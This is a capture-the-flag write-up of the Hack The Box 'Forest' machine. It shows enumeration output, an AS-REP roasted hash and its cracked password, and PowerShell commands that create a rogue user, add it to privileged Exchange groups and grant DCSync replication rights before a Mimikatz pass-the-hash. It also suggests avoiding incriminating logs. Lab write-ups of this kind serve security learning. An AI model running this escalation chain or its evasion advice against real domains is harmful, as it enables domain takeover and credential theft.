Introduction
Forest started with Windows enumeration using SMB and LDAP queries that lead to leveraging a lingering service account with PRE_AUTH disabled for user access. Once on the machine, we were able to abuse the existing Active Directory entitlements to create a malicious user entry with the rights to perform a DCSync using Mimikatz to acquire the Administrator's hash, finally using it to execute a pass-the-hash escalation to Administrator.
Despite the chronological time of this writeup being released, Forest was one of the first HTB machines where I really had a chance to dig into AD/Kerberos from a Windows and offensive tools perspective. There were definitely some roadbumps throughout the process, but looking back on it now that I have completed a few more of these types of machines I realize Forest was indeed a great introduction to the technology stack.
Initial Recon
Let us kick this off with an NMAP scan to see what we are working with.
root@kali:~/Desktop/HTB/Forest# nmap -sV -sC 10.10.10.161
Starting Nmap 7.70 ( https://nmap.org ) at 2019-10-20 22:29 EDT
Stats: 0:02:18 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 90.91% done; ETC: 22:32 (0:00:12 remaining)
Stats: 0:04:06 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 99.93% done; ETC: 22:33 (0:00:00 remaining)
Nmap scan report for 10.10.10.161
Host is up (0.12s latency).
Not shown: 989 closed ports
PORT STATE SERVICE VERSION
53/tcp open domain?
| fingerprint-strings:
| DNSVersionBindReqTCP:
| version
|_ bind
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2019-10-21 02:37:50Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
445/tcp open microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: HTB)
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port53-TCP:V=7.70%I=7%D=10/20%Time=5DAD183B%P=x86_64-pc-linux-gnu%r(DNS
SF:VersionBindReqTCP,20,"\0\x1e\0\x06\x81\x04\0\x01\0\0\0\0\0\0\x07version
SF:\x04bind\0\0\x10\0\x03");
Service Info: Host: FOREST; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 2h27m37s, deviation: 4h02m33s, median: 7m34s
| smb-os-discovery:
| OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
| Computer name: FOREST
| NetBIOS computer name: FOREST\x00
| Domain name: htb.local
| Forest name: htb.local
| FQDN: FOREST.htb.local
|_ System time: 2019-10-20T19:40:11-07:00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: required
| smb2-security-mode:
| 2.02:
|_ Message signing enabled and required
| smb2-time:
| date: 2019-10-20 22:40:06
|_ start_date: 2019-10-20 22:26:18
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 257.17 seconds
Side comment: Going back through my notes makes me realize how much I've learned from a process standpoint. Today, if I would have seen the above and immediately would have gone for an LDAP root-dse query followed up by enumerating users from that angle. I will leave the details of how that can be done out for now as I will address it in coming writeups.
We needed to continue our enumeration. I tried a few different things like SMB enumeration, NMAP scripts, and enum4linux. They all "worked" but I feel in this particular case enum4linux provided the most relevant data.
=============================
| Users on 10.10.10.161 |
=============================
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 866.
index: 0x2137 RID: 0x463 acb: 0x00020015 Account: $331000-VK4ADACQNUCA Name: (null) Desc: (null)
index: 0xfbc RID: 0x1f4 acb: 0x00000010 Account: Administrator Name: Administrator Desc: Built-in account for administering the computer/domain
index: 0x2369 RID: 0x47e acb: 0x00000210 Account: andy Name: Andy Hislip Desc: (null)
index: 0x2372 RID: 0x1db1 acb: 0x00000010 Account: backdoor Name: (null) Desc: (null)
index: 0xfbe RID: 0x1f7 acb: 0x00000215 Account: DefaultAccount Name: (null) Desc: A user account managed by the system.
index: 0xfbd RID: 0x1f5 acb: 0x00000215 Account: Guest Name: (null) Desc: Built-in account for guest access to the computer/domain
index: 0x2352 RID: 0x478 acb: 0x00000210 Account: HealthMailbox0659cc1 Name: HealthMailbox-EXCH01-010 Desc: (null)
index: 0x234b RID: 0x471 acb: 0x00000210 Account: HealthMailbox670628e Name: HealthMailbox-EXCH01-003 Desc: (null)
index: 0x234d RID: 0x473 acb: 0x00000210 Account: HealthMailbox6ded678 Name: HealthMailbox-EXCH01-005 Desc: (null)
index: 0x2351 RID: 0x477 acb: 0x00000210 Account: HealthMailbox7108a4e Name: HealthMailbox-EXCH01-009 Desc: (null)
index: 0x234e RID: 0x474 acb: 0x00000210 Account: HealthMailbox83d6781 Name: HealthMailbox-EXCH01-006 Desc: (null)
index: 0x234c RID: 0x472 acb: 0x00000210 Account: HealthMailbox968e74d Name: HealthMailbox-EXCH01-004 Desc: (null)
index: 0x2350 RID: 0x476 acb: 0x00000210 Account: HealthMailboxb01ac64 Name: HealthMailbox-EXCH01-008 Desc: (null)
index: 0x234a RID: 0x470 acb: 0x00000210 Account: HealthMailboxc0a90c9 Name: HealthMailbox-EXCH01-002 Desc: (null)
index: 0x2348 RID: 0x46e acb: 0x00000210 Account: HealthMailboxc3d7722 Name: HealthMailbox-EXCH01-Mailbox-Database-1118319013 Desc: (null)
index: 0x2349 RID: 0x46f acb: 0x00000210 Account: HealthMailboxfc9daad Name: HealthMailbox-EXCH01-001 Desc: (null)
index: 0x234f RID: 0x475 acb: 0x00000210 Account: HealthMailboxfd87238 Name: HealthMailbox-EXCH01-007 Desc: (null)
index: 0xff4 RID: 0x1f6 acb: 0x00000011 Account: krbtgt Name: (null) Desc: Key Distribution Center Service Account
index: 0x2360 RID: 0x47a acb: 0x00000210 Account: lucinda Name: Lucinda Berger Desc: (null)
index: 0x236a RID: 0x47f acb: 0x00000210 Account: mark Name: Mark Brandt Desc: (null)
index: 0x236b RID: 0x480 acb: 0x00000210 Account: santi Name: Santi Rodriguez Desc: (null)
index: 0x235c RID: 0x479 acb: 0x00000210 Account: sebastien Name: Sebastien Caron Desc: (null)
index: 0x215a RID: 0x468 acb: 0x00020011 Account: SM_1b41c9286325456bb Name: Microsoft Exchange Migration Desc: (null)
index: 0x2161 RID: 0x46c acb: 0x00020011 Account: SM_1ffab36a2f5f479cb Name: SystemMailbox{8cc370d3-822a-4ab8-a926-bb94bd0641a9} Desc: (null)
index: 0x2156 RID: 0x464 acb: 0x00020011 Account: SM_2c8eef0a09b545acb Name: Microsoft Exchange Approval Assistant Desc: (null)
index: 0x2159 RID: 0x467 acb: 0x00020011 Account: SM_681f53d4942840e18 Name: Discovery Search Mailbox Desc: (null)
index: 0x2158 RID: 0x466 acb: 0x00020011 Account: SM_75a538d3025e4db9a Name: Microsoft Exchange Desc: (null)
index: 0x215c RID: 0x46a acb: 0x00020011 Account: SM_7c96b981967141ebb Name: E4E Encryption Store - Active Desc: (null)
index: 0x215b RID: 0x469 acb: 0x00020011 Account: SM_9b69f1b9d2cc45549 Name: Microsoft Exchange Federation Mailbox Desc: (null)
index: 0x215d RID: 0x46b acb: 0x00020011 Account: SM_c75ee099d0a64c91b Name: Microsoft Exchange Desc: (null)
index: 0x2157 RID: 0x465 acb: 0x00020011 Account: SM_ca8c2ed5bdab4dc9b Name: Microsoft Exchange Desc: (null)
index: 0x2365 RID: 0x47b acb: 0x00010210 Account: svc-alfresco Name: svc-alfresco Desc: (null)
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 881.
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[DefaultAccount] rid:[0x1f7]
user:[$331000-VK4ADACQNUCA] rid:[0x463]
user:[SM_2c8eef0a09b545acb] rid:[0x464]
user:[SM_ca8c2ed5bdab4dc9b] rid:[0x465]
user:[SM_75a538d3025e4db9a] rid:[0x466]
user:[SM_681f53d4942840e18] rid:[0x467]
user:[SM_1b41c9286325456bb] rid:[0x468]
user:[SM_9b69f1b9d2cc45549] rid:[0x469]
user:[SM_7c96b981967141ebb] rid:[0x46a]
user:[SM_c75ee099d0a64c91b] rid:[0x46b]
user:[SM_1ffab36a2f5f479cb] rid:[0x46c]
user:[HealthMailboxc3d7722] rid:[0x46e]
user:[HealthMailboxfc9daad] rid:[0x46f]
user:[HealthMailboxc0a90c9] rid:[0x470]
user:[HealthMailbox670628e] rid:[0x471]
user:[HealthMailbox968e74d] rid:[0x472]
user:[HealthMailbox6ded678] rid:[0x473]
user:[HealthMailbox83d6781] rid:[0x474]
user:[HealthMailboxfd87238] rid:[0x475]
user:[HealthMailboxb01ac64] rid:[0x476]
user:[HealthMailbox7108a4e] rid:[0x477]
user:[HealthMailbox0659cc1] rid:[0x478]
user:[sebastien] rid:[0x479]
user:[lucinda] rid:[0x47a]
user:[svc-alfresco] rid:[0x47b]
user:[andy] rid:[0x47e]
user:[mark] rid:[0x47f]
user:[santi] rid:[0x480]
user:[backdoor] rid:[0x1db1]
With this we have a few user accounts to play with. Let us see what we can do with them.
User exploitation
Time to go a bit into Kerberos theory. If we follow the diagram I whipped up below we can follow the three steps of accessing a Kerberized service: AS -> TGT -> TGS.
To understand the next step and why we chose a certain script within impacket, let us add one extra detail to this background authentication flow - kerberos pre-authentication. LDAPwiki does a great job of explaining firstly what it is and then what can happen when it is not set.
Kerberos Pre-Authentication is a security feature which offers protection against password-guessing attacks. The AS request identifies the client to the KDC in Plaintext. If Kerberos Pre-Authentication is enabled, a Timestamp will be encrypted using the user's password hash as an encryption key. If the KDC reads a valid time when using the user's password hash, which is available in the Microsoft Active Directory, to decrypt the Timestamp, the KDC knows that request isn't a replay of a previous request.
Without Kerberos Pre-Authentication a malicious attacker can directly send a dummy request for authentication. The KDC will return an encrypted TGT and the attacker can brute force it offline.
That last part is exactly what we are interested in. If there are accounts that have pre_auth
explicitly disabled we would be able to request a TGT as that user and then pass the encrypted data to our favorite JTR/Hashcat. Impacket has a very useful script for exactly this - GetNPUsers.py.
Excellent! Looks like we were able to capture a request for the account svc_alfresco. If we take a quick peek at the captured hash...
root@kali:~/Desktop/HTB/Forest# cat npusers.hash
$krb5asrep$23$svc-alfresco@HTB.LOCAL:ab01345dba7d10f018f58623f1725fd8$3d748c20fdd6239e33e8633ef8791d87ceb0f509bd1c1c32d39e61e0db0bc6eef88f493a81f94746236954408fd5761451b52c3dfa7000772edc2879b22bdb86eb782c778a0ea2049e67bef67744a0de7cdaed5e0b0117b709d5a43714d599a901970e89d416ea18658afac91d1ce69302c9ed196ed304420a325d23f6f367a690e96b7fa448b114fa36b65ab2d3e9c95c96ddea5965cc5655b5c3b200385ce7bf255f4efef28cbe3d87c722729e4fb5c11f2e912a63c960960a6c725c941efed3f87eab257c9cc20b9ebd8f7cdb308495c7c849540c8179c8fe4c20723219cecf7173017914
For no other reason than "because" I felt like using Hashcat at this particular point. If we run this hash through hashcat with the trusty rockyou.txt wordlist.
We now have a user and password credential set! Perfect! Let us log in and see if we can get to our first flag.
User down, time to move on to Administrator.
Root exploitation
Now that we have user access, let's see how we can escalate our entitlements. Since this is a Windows/Active Directory based machine we can use tooling like Bloodhound to check on combined entitlements that can be used to help our efforts out. I focused on using the python version as I found it easier and more stable to work with rather than running on the host locally and passing the result files back over to our own machine.
root@kali:~/Desktop/HTB/impacket/BloodHound.py# python3 bloodhound.py -d htb.local -u svc-alfresco -p s3rvice -gc htb.local -ns 10.10.10.161 -dc htb.local -c all
INFO: Found AD domain: htb.local
INFO: Connecting to LDAP server: htb.local
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 2 computers
INFO: Connecting to LDAP server: htb.local
WARNING: Could not resolve SID: S-1-5-21-3072663084-364016917-1341370565-1153
WARNING: Could not resolve SID: S-1-5-21-3072663084-364016917-1341370565-1153
WARNING: Could not resolve SID: S-1-5-21-3072663084-364016917-1341370565-1153
WARNING: Could not resolve SID: S-1-5-21-3072663084-364016917-1341370565-1153
WARNING: Could not resolve SID: S-1-5-21-3072663084-364016917-1341370565-1153
INFO: Found 35 users
INFO: Found 72 groups
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: EXCH01.htb.local
INFO: Querying computer: FOREST.htb.local
INFO: Done in 00M 24S
Starting our ne04j and bloodhound instances locally we can then import these result files. First we trace down what entitlements our svc-alfresco service account has, then secondly show the relationships our end-goal Administrator has.
So what does this mean? Took me awhile to understand what angle we wanted to achieve here. It essentially boils down to we have the ability, to give ourselves the ability, to trigger a DCSync between the EXCH01.htb.local and FOREST.htb.local, which should provide us the Administrator (or any account for that matter) password hash.
The theory behind the approach can be seen this github repo and has a few other related escalation approaches worth reading up on. First up, we need to ensure we are added to the Exchange Windows Permissions Group which grants up writeDACL on the domain object itself. Again here, knowing what I know now I would have just leveraged svc-alfresco and added that account the group, but for my lack of understanding I first created a new user, TEST3, to which I then added to the proper groups.
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> Add-NetUser -UserName TEST3 -Password Password123 -GroupName "Domain Users" -Domain 'htb.local'
[*] User TEST3 successfully created in domain htb.local
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> Add-NetGroupUser -UserName TEST3 -GroupName "Service Accounts" -Domain forest.htb.local
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> Add-NetGroupUser -UserName TEST3 -GroupName "EXCHANGE WINDOWS PERMISSIONS" -Domain htb.local
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> Add-NetGroupUser -UserName TEST3 -GroupName "GROUP POLICY CREATOR OWNERS" -Domain htb.local
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> Add-NetGroupUser -UserName TEST3 -GroupName "ORGANIZATION MANAGEMENT" -Domain htb.local
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> Add-NetGroupUser -UserName TEST3 -GroupName "EXCHANGE TRUSTED SUBSYSTEM" -Domain htb.local
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> net user TEST3 /domain
User name TEST3
Full Name
Comment
User's comment
Country/region code 000 (System Default)
Account active Yes
Account expires Never
Password last set 10/22/2019 8:51:39 PM
Password expires 12/3/2019 8:51:39 PM
Password changeable 10/23/2019 8:51:39 PM
Password required Yes
User may change password Yes
Workstations allowed All
Logon script
User profile
Home directory
Last logon Never
Logon hours allowed All
Local Group Memberships
Global Group memberships *Exchange Windows Perm*Organization Manageme
*Domain Users *Group Policy Creator
*Exchange Trusted Subs
With our user created and in the right group, we still had one last step to prepare before we could execute the dcsync exploit. The theory behind the approach can be seen this article and elaborates that we should need DS-Replication-Get-Changes-All. Let's add that to our new TEST3 user.
$id = [Security.Principal.WindowsIdentity]::GetCurrent()
Add-ADPermission "DC=htb,DC=local" -User $id.Name -ExtendedRights Ds-Replication-Get-Changes-All
A quick relog to apply the changes and now we should be ready to kick off the dcsync. Despite many options available I ended up loading mimikatz to the host to run the attack locally.
Beautiful, we have our Administrator hash. All that is left is to kick off a pass-the-hash to start a session as Administrator.
Last step, let's get root.txt.
And just like that Forest is complete. Thanks folks until next time.
Extra fun
Looking back on my notes and approach here I definitely see how while this machine was overall simplistic, it highlighted my lack of knowledge on these topics. In future machines of this nature I would generally try and focus on a few different things.
- Keep things simple and use what is present - Instead of creating a new account which can leave incriminating logs and evidence, I should have leverage the svc-alfresco account more.
- Avoid uploading files - Similarly instead of sending executables and result files back and forth between hosts I could have tried focusing on remote possibilities.
Overall, it got me to the same conclusion, but the point of going through these exercises is to improve our overall knowledge and thinking processes. This machine definitely achieved that goal.